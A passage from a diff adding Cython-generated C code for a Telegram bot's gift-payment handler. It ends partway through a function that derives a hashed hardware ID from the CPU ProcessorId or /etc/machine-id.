1, __pyx_t_17); + __pyx_t_17 = 0; + __Pyx_INCREF(__pyx_kp_u__34); + __pyx_t_13 = (65535 > __pyx_t_13) ? 65535 : __pyx_t_13; + __pyx_t_12 += 30; + __Pyx_GIVEREF(__pyx_kp_u__34); + PyTuple_SET_ITEM(__pyx_t_14, 2, __pyx_kp_u__34); + __pyx_t_17 = __Pyx_PyUnicode_Join(__pyx_t_14, 3, __pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 171, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_17); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_t_17) < 0) __PYX_ERR(0, 171, __pyx_L23_error) + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + __pyx_t_17 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 171, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_17); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_17); + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L25_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_9); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 171, __pyx_L23_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 171, __pyx_L23_error) + } + } + } + + /* "handlers/payments/gift.py":170 + * reply_markup=builder.as_markup(), + * ) + * except Exception as e: # <<<<<<<<<<<<<< + * await callback_query.message.answer(text=f" : {e}\n, .") + * + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L24; + } + __pyx_L23_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_23, &__pyx_t_24, &__pyx_t_25); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_20, &__pyx_t_21, &__pyx_t_22) < 0)) __Pyx_ErrFetch(&__pyx_t_20, &__pyx_t_21, &__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_24); + __Pyx_XGOTREF(__pyx_t_25); + __pyx_t_16 = __pyx_lineno; __pyx_t_18 = __pyx_clineno; __pyx_t_19 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_XGIVEREF(__pyx_t_25); + __Pyx_ExceptionReset(__pyx_t_23, __pyx_t_24, __pyx_t_25); + } + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_ErrRestore(__pyx_t_20, __pyx_t_21, __pyx_t_22); + __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; + __pyx_lineno = __pyx_t_16; __pyx_clineno = __pyx_t_18; __pyx_filename = __pyx_t_19; + goto __pyx_L8_except_error; + } + __pyx_L24:; + } + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + goto __pyx_L7_exception_handled; + } + goto __pyx_L8_except_error; + + /* "handlers/payments/gift.py":148 + * return + * + * try: # <<<<<<<<<<<<<< + * await update_balance(tg_id, -price) + * + */ + __pyx_L8_except_error:; + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_8, __pyx_t_9); + goto __pyx_L1_error; + __pyx_L7_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_8, __pyx_t_9); + __pyx_L11_try_end:; + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/gift.py":137 + * + * + * @router.callback_query(F.data.startswith("confirm_gift|")) # <<<<<<<<<<<<<< + * async def finalize_gift_handler(callback_query: types.CallbackQuery, state: FSMContext, session: Any): + * """ .""" + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_XDECREF(__pyx_t_17); + __Pyx_AddTraceback("finalize_gift_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* "handlers/payments/gift.py":174 + * + * + * def get_hardware_id(): # <<<<<<<<<<<<<< + * """ + * hardware-. + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_4gift_16get_hardware_id(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused); /*proto*/ +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_4gift_15get_hardware_id, "\n \320\223\320\265\320\275\320\265\321\200\320\260\321\206\320\270\321\217 \321\203\320\275\320\270\320\272\320\260\320\273\321\214\320\275\320\276\320\263\320\276 \320\270\320\264\320\265\320\275\321\202\320\270\321\204\320\270\320\272\320\260\321\202\320\276\321\200\320\260 \321\203\321\201\321\202\321\200\320\276\320\271\321\201\321\202\320\262\320\260 \320\275\320\260 \320\276\321\201\320\275\320\276\320\262\320\265 hardware-\320\270\320\275\321\204\320\276\321\200\320\274\320\260\321\206\320\270\320\270.\n "); +static PyMethodDef __pyx_mdef_8handlers_8payments_4gift_16get_hardware_id = {"get_hardware_id", (PyCFunction)__pyx_pw_8handlers_8payments_4gift_16get_hardware_id, METH_NOARGS, __pyx_doc_8handlers_8payments_4gift_15get_hardware_id}; +static PyObject *__pyx_pw_8handlers_8payments_4gift_16get_hardware_id(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused) { + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("get_hardware_id (wrapper)", 0); + __pyx_kwvalues = __Pyx_KwValues_VARARGS(__pyx_args, __pyx_nargs); + __pyx_r = __pyx_pf_8handlers_8payments_4gift_15get_hardware_id(__pyx_self); + + /* function exit code */ + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_4gift_15get_hardware_id(CYTHON_UNUSED PyObject *__pyx_self) { + PyObject *__pyx_v_result = NULL; + PyObject *__pyx_v_f = NULL; + PyObject *__pyx_v_hardware_id = NULL; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + unsigned int __pyx_t_7; + int __pyx_t_8; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + PyObject *__pyx_t_15 = NULL; + PyObject *__pyx_t_16 = NULL; + int __pyx_t_17; + int __pyx_t_18; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("get_hardware_id", 1); + + /* "handlers/payments/gift.py":178 + * hardware-. + * """ + * try: # <<<<<<<<<<<<<< + * if platform.system() == "Windows": + * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() + */ + { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_3); + /*try:*/ { + + /* "handlers/payments/gift.py":179 + * """ + * try: + * if platform.system() == "Windows": # <<<<<<<<<<<<<< + * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() + * else: + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_platform); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 179, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_system); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 179, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, NULL}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 179, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_t_8 = (__Pyx_PyUnicode_Equals(__pyx_t_4, __pyx_n_u_Windows, Py_EQ)); if (unlikely((__pyx_t_8 < 0))) __PYX_ERR(0, 179, __pyx_L3_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (__pyx_t_8) { + + /* "handlers/payments/gift.py":180 + * try: + * if platform.system() == "Windows": + * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() # <<<<<<<<<<<<<< + * else: + * with open("/etc/machine-id") as f: + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_subprocess); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 180, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_check_output); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 180, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 180, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_9); + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_shell, Py_True) < 0) __PYX_ERR(0, 180, __pyx_L3_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_tuple__35, __pyx_t_9); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 180, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_decode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 180, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 180, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_split); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 180, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_kp_u__36}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 180, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_t_9 = __Pyx_GetItemInt(__pyx_t_6, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 180, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_strip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 180, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_9)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_9); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_9, NULL}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 180, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_v_result = __pyx_t_4; + __pyx_t_4 = 0; + + /* "handlers/payments/gift.py":179 + * """ + * try: + * if platform.system() == "Windows": # <<<<<<<<<<<<<< + * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() + * else: + */ + goto __pyx_L9; + } + + /* "handlers/payments/gift.py":182 + * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() + * else: + * with open("/etc/machine-id") as f: # <<<<<<<<<<<<<< + * result = f.read().strip() + * + */ + /*else*/ { + /*with:*/ { + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_builtin_open, __pyx_tuple__37, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 182, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_12 = __Pyx_PyObject_LookupSpecial(__pyx_t_4, __pyx_n_s_exit); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 182, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_9 = __Pyx_PyObject_LookupSpecial(__pyx_t_4, __pyx_n_s_enter); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 182, __pyx_L10_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_5 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, NULL}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 182, __pyx_L10_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_t_9 = __pyx_t_6; + __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + /*try:*/ { + { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + __Pyx_ExceptionSave(&__pyx_t_13, &__pyx_t_14, &__pyx_t_15); + __Pyx_XGOTREF(__pyx_t_13); + __Pyx_XGOTREF(__pyx_t_14); + __Pyx_XGOTREF(__pyx_t_15); + /*try:*/ { + __pyx_v_f = __pyx_t_9; + __pyx_t_9 = 0; + + /* "handlers/payments/gift.py":183 + * else: + * with open("/etc/machine-id") as f: + * result = f.read().strip() # <<<<<<<<<<<<<< + * + * hardware_id = hashlib.sha256(result.encode()).hexdigest() + */ + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_f, __pyx_n_s_read); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 183, __pyx_L14_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_5 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, NULL}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 183, __pyx_L14_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_strip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 183, __pyx_L14_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, NULL}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 183, __pyx_L14_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_v_result = __pyx_t_9; + __pyx_t_9 = 0; + + /* "handlers/payments/gift.py":182 + * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() + * else: + * with open("/etc/machine-id") as f: # <<<<<<<<<<<<<< + * result = f.read().strip() + * + */ + } + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; + goto __pyx_L19_try_end; + __pyx_L14_error:; + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + /*except:*/ { + __Pyx_AddTraceback("handlers.payments.gift.get_hardware_id", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_9, &__pyx_t_6, &__pyx_t_4) < 0) __PYX_ERR(0, 182, __pyx_L16_except_error) + __Pyx_XGOTREF(__pyx_t_9); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_XGOTREF(__pyx_t_4); + __pyx_t_5 = PyTuple_Pack(3, __pyx_t_9, __pyx_t_6, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 182, __pyx_L16_except_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_16 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_t_5, NULL); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 182, __pyx_L16_except_error) + __Pyx_GOTREF(__pyx_t_16); + __pyx_t_8 = __Pyx_PyObject_IsTrue(__pyx_t_16); + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + if (__pyx_t_8 < 0) __PYX_ERR(0, 182, __pyx_L16_except_error) + __pyx_t_17 = (!__pyx_t_8); + if (unlikely(__pyx_t_17)) { + __Pyx_GIVEREF(__pyx_t_9); + __Pyx_GIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_4); + __Pyx_ErrRestoreWithState(__pyx_t_9, __pyx_t_6, __pyx_t_4); + __pyx_t_9 = 0; __pyx_t_6 = 0; __pyx_t_4 = 0; + __PYX_ERR(0, 182, __pyx_L16_except_error) + } + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + goto __pyx_L15_exception_handled; + } + __pyx_L16_except_error:; + __Pyx_XGIVEREF(__pyx_t_13); + __Pyx_XGIVEREF(__pyx_t_14); + __Pyx_XGIVEREF(__pyx_t_15); + __Pyx_ExceptionReset(__pyx_t_13, __pyx_t_14, __pyx_t_15); + goto __pyx_L3_error; + __pyx_L15_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_13); + __Pyx_XGIVEREF(__pyx_t_14); + __Pyx_XGIVEREF(__pyx_t_15); + __Pyx_ExceptionReset(__pyx_t_13, __pyx_t_14, __pyx_t_15); + __pyx_L19_try_end:; + } + } + /*finally:*/ { + /*normal exit:*/{ + if (__pyx_t_12) { + __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_tuple__38, NULL); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 182, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + } + goto __pyx_L13; + } + __pyx_L13:; + } + goto __pyx_L23; + __pyx_L10_error:; + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + goto __pyx_L3_error; + __pyx_L23:; + } + } + __pyx_L9:; + + /* "handlers/payments/gift.py":185 + * result = f.read().strip() + * + * hardware_id = hashlib.sha256(result.encode()).hexdigest() # <<<<<<<<<<<<<< + * return hardware_id + * except Exception: + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_hashlib); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 185, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_sha256); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 185, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (unlikely(!__pyx_v_result)) { __Pyx_RaiseUnboundLocalError("result"); __PYX_ERR(0, 